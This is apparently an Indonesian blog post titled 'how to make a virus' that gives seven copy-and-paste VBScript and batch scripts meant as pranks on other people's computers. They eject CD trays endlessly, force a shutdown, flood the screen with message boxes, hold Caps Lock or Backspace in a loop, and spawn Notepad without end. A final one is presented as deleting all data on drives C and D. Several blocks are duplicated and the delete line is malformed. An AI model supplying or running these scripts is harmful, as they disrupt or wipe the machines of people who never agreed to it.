1. Membuka dan menutup CD/DVD Komputer.
- Copy script di bawah ini.
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
- Save as dengan format.vbs dan jangan lupa merubah save as type dengan All File
2. Membuat Komputer Shutdown dengan muncul pesan.
- Copy script di bawah ini.
@echo off
msg * Harap tenang komputer anda akan mati heheheheh
shutdown -s -c “Komputer anda mati”
msg * Harap tenang komputer anda akan mati heheheheh
shutdown -s -c “Komputer anda mati”
- Save As dengan format .bat dan jangan lupa merubah Save As Type menjadi All File
3. Membuat Pesan muncul berulang – ulang
- Copy script di bawah ini.
@ECHO off
:Begin
msg * hahahhaa
msg * santai boss
msg * ini hanya main-main
msg * jangan marah ya
msg * hanya bercanda
GOTO BEGIN
:Begin
msg * hahahhaa
msg * santai boss
msg * ini hanya main-main
msg * jangan marah ya
msg * hanya bercanda
GOTO BEGIN
- Save As dengan format .bat dan jangan lupa merubah Save As Type menjadi All File
4. Membuat Tombol Capslock terus menyala
- Copy script di bawah ini.
Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” loop
- Save As dengan format .vbs dan jangan lupa merubah Save As Type menjadi All File
5. Membuat terus – menerus menekan tombol “backspace”
- Copy kode di bawah
MsgBox “Kembali ke menu sebelumnya” Set wshShell
=wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100
wshshell.sendkeys “{bs}” loop
- Save As dengan format .vbs dan jangan lupa merubah Save As Type menjadi All File
6. Membuka notepad Terus – menerus
- Copy kode di bawah
@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top
- Save As dengan format .bat dan jangan lupa merubah Save As Type menjadi All File
7. Menghapus semua Data Tanpa Terkecuali
Untuk yang satu ini saya sarankan jangan coba-coba karena sangat mematikan dan dapat berakibat fatal
- Copy kode di bawah
DEL C: -Y DEL D: -Y
- Save As dengan format .bat dan jangan lupa merubah Save As Type menjadi All File
Cara Membuat Virus Sederhana ( Jahil )
0 Responses to "Cara Membuat Virus. Hati - Hati !!!"
Post a Comment